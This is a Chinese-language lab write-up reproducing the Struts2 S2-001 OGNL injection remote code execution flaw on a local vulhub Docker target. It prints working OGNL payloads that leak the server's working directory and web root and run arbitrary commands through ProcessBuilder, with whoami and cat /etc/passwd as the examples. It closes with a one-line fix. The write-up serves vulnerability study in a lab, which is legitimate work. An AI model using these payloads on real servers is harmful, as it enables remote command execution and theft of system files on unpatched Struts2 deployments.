S2-001 遠程代碼執行漏洞
該漏洞因爲用戶提交表單數據並且驗證失敗時,後端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然後重新填充到對應的表單數據中。例如註冊或登錄頁面,提交失敗後端一般會默認返回之前提交的數據,由於後端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析,所以可以直接構造 Payload 進行命令執行
搭建靶機環境:
1.進入vulhub目錄下漏洞環境的目錄
cd …/vulhub-master/structs/s2-001
2.自動編譯化環境
docker-compose build
3.啓動整個編譯環境
docker-compose up -d
4.查看是否啓動成功
docker ps(正在運行的環境)
下載vulhub環境之後就會發現每個環境目錄下都有一個md文件,也就是相應的說明文件
訪問頁面,默認是8080端口,我是在我自己的Windows上訪問的我靶機的IP;
顯然這是一個登錄頁面,這裏就不遮遮掩掩了(原本還打算戲精附身,是如何發現這個漏洞的),因爲已經知道了是什麼漏洞;
因爲後端是通過OGNL 表達式解析返回之前提交的數據;
先來測試一下是否真的存在遠程代碼執行
發現都把passw中括號裏的值返回來了
這樣構造如下payload
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
語句被執行,查看返回的語句是/user/local/tomcat即使tomcat的執行語句;
然後獲取web路徑,構造如下語句
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
可見返回了web路徑,爲/usr/local/tomcat/webapps/ROOT
查看當前權限,返回的是root
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
執行任意命令時只需要,將whoami的命令替換,例如如下內容
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}
至此漏洞復現完成,關閉docker環境
docker-compose down -v
修復方式:
改變ognl表達式的解析方法從而不會產生遞歸解析,用戶的輸入也不會再解析執行。